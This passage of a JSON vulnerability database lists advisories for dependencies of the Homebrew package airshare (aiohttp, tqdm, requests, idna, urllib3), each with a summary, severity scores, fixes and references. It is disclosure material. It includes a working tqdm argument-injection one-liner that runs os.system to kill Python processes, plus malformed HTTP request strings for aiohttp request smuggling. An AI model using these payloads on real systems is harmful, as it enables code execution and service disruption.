https://github.com/aio-libs/aiohttp/pull/7835/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-q3qx-c6g2-7pw2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49081"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7835/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1e86b777e61cf4eefc7d92fa57fa19dcc676013b"},{"type":"WEB","url":"https://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-250.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-49082","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-qvrw-v9rv-5rjx","CVE-2023-49082","PYSEC-2023-251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via method","details":"### Summary\nImproper validation makes it possible for an attacker to modify the HTTP request (e.g. insert a new header) or even create a new HTTP request if the attacker controls the HTTP method.\n\n### Details\nThe vulnerability occurs only if the attacker can control the HTTP method (GET, POST etc.) of the request.\n\nPrevious releases performed no validation on the provided value. If an attacker controls the HTTP method it will be used as is and can lead to HTTP request smuggling.\n\n### PoC\nA minimal example can be found here:\nhttps://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b\n\n### Impact\nIf the attacker can control the HTTP version of the request it will be able to modify the request (request smuggling).\n\n### Workaround\nIf unable to upgrade and using user-provided values for the request method, perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7806/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-qvrw-v9rv-5rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49082"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7806/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e4ae01c2077d2cfa116aa82e4ff6866857f7c466"},{"type":"WEB","url":"https://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-251.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-23334","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-5h86-8mv2-jq9f","CVE-2024-23334","PYSEC-2024-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp is vulnerable to directory traversal","details":"### Summary\nImproperly configuring static resource resolution in aiohttp when used as a web server can result in the unauthorized reading of arbitrary files on the system.\n\n### Details\nWhen using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if a given file path is within the root directory.This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.\n\ni.e. An application is only vulnerable with setup code like:\n```\napp.router.add_routes([\n web.static(\"/static\", \"static/\", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability\n])\n```\n\n### Impact\nThis is a directory traversal vulnerability with CWE ID 22. When using aiohttp as a web server and enabling static resource resolution with `follow_symlinks` set to True, it can lead to this vulnerability. This vulnerability has been present since the introduction of the `follow_symlinks` parameter.\n\n### Workaround\nEven if upgrading to a patched version of aiohttp, we recommend following these steps regardless.\n\nIf using `follow_symlinks=True` outside of a restricted local development environment, disable the option immediately. This option is NOT needed to follow symlinks which point to a location _within_ the static root directory, it is _only_ intended to allow a symlink to break out of the static directory. Even with this CVE fixed, there is still a substantial risk of misconfiguration when using this option on a server that accepts requests from remote users.\n\nAdditionally, aiohttp has always recommended using a reverse proxy server (such as nginx) to handle static resources and _not_ to use these static resources in aiohttp for production environments. Doing so also protects against this vulnerability, and is why we expect the number of affected users to be very low.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8079/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5h86-8mv2-jq9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23334"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-24.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/52474"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-23829","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-8qpw-xqxj-h4r2","CVE-2024-23829","PYSEC-2024-26"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's HTTP parser (the python one, not llhttp) still overly lenient about separators","details":"### Summary\nSecurity-sensitive parts of the *Python HTTP parser* retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.\n\n### Details\nThese problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:\n\n1. The expression `HTTP/(\\d).(\\d)` lacked another backslash to clarify that the separator should be a literal dot, not just *any* Unicode code point (result: `HTTP/(\\d)\\.(\\d)`).\n\n2. The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.\n\n3. Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 `token`.\n\n### PoC\n`GET / HTTP/1ö1`\n`GET / HTTP/1.𝟙`\n`GET/: HTTP/1.1`\n`Content-Encoding?: chunked`\n\n### Impact\nPrimarily concerns running an aiohttp server without llhttp:\n 1. **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.\n 2. **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8074/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8qpw-xqxj-h4r2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23829"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/3235"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/33ccdfb0a12690af5bb49bda2319ec0907fa7827"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-26.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-27306","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-7gpw-8wmc-pm8g","CVE-2024-27306","PYSEC-2026-1102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp Cross-site Scripting vulnerability on index pages for static file handling","details":"### Summary\n\nA XSS vulnerability exists on index pages for static file handling.\n\n### Details\n\nWhen using `web.static(..., show_index=True)`, the resulting index pages do not escape file names.\n\nIf users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks.\n\n### Workaround\n\nWe have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected.\n\nOther users can disable `show_index` if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8319/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-7gpw-8wmc-pm8g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27306"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/28335525d1eac015a7e7584137678cbb6ff19397"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2EXRGTN2WG7VZLUZ7WOXU5GQJKCPPHKP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NWEI6NIHZ3G7DURDZVMRK7ZEFC2BTD3U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZIVBMPEY7WWOFMC3CWXFBRQPFECV4SW3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-30251","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-5m98-qgg9-wh84","CVE-2024-30251","PYSEC-2026-1098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp vulnerable to Denial of Service when trying to parse malformed POST requests","details":"### Summary\nAn attacker can send a specially crafted POST (multipart/form-data) request. When the aiohttp server processes it, the server will enter an infinite loop and be unable to process any further requests.\n\n### Impact\nAn attacker can stop the application from serving requests after sending a single request.\n\n-------\n\nFor anyone needing to patch older versions of aiohttp, the minimum diff needed to resolve the issue is (located in `_read_chunk_from_length()`):\n\n```diff\ndiff --git a/aiohttp/multipart.py b/aiohttp/multipart.py\nindex 227be605c..71fc2654a 100644\n--- a/aiohttp/multipart.py\n+++ b/aiohttp/multipart.py\n@@ -338,6 +338,8 @@ class BodyPartReader:\n assert self._length is not None, \"Content-Length required for chunked read\"\n chunk_size = min(size, self._length - self._read_bytes)\n chunk = await self._content.read(chunk_size)\n+ if self._content.at_eof():\n+ self._at_eof = True\n return chunk\n \n async def _read_chunk_from_stream(self, size: int) -> bytes:\n```\n\nThis does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in:\nhttps://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19\nhttps://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597\nhttps://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5m98-qgg9-wh84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-30251"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/05/02/4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-34062","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-g7vv-2v7x-gj9p","CVE-2024-34062","PYSEC-2026-1976"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_10"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.66.3","resource":"tqdm","resource_purl":"pkg:pypi/tqdm@4.70.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"tqdm","subject_version":"4.70.0","key":"pkg:pypi/tqdm@4.70.0","resource":"tqdm"}]},"summary":"tqdm CLI arguments injection attack","details":"### Impact\nAny optional non-boolean CLI arguments (e.g. `--delim`, `--buf-size`, `--manpath`) are passed through python's `eval`, allowing arbitrary code execution. Example:\n\n```sh\npython -m tqdm --manpath=\"\\\" + str(exec(\\\"import os\\nos.system('echo hi && killall python3')\\\")) + \\\"\"\n```\n\n### Patches\nhttps://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316 released in `tqdm>=4.66.3`\n\n### Workarounds\nNone\n\n### References\n- https://github.com/tqdm/tqdm/releases/tag/v4.66.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tqdm/tqdm/security/advisories/GHSA-g7vv-2v7x-gj9p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34062"},{"type":"WEB","url":"https://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316"},{"type":"PACKAGE","url":"https://github.com/tqdm/tqdm"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PA3GIGHPWAHCTT4UF57LTPZGWHAX3GW6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRECVQCCESHBS3UJOWNXQUIX725TKNY6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VA337CYUS4SLRFV2P6MX6MZ2LKFURKJC"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-35195","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.18","key":"pkg:pypi/idna@3.18","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-37891","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-47081","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### 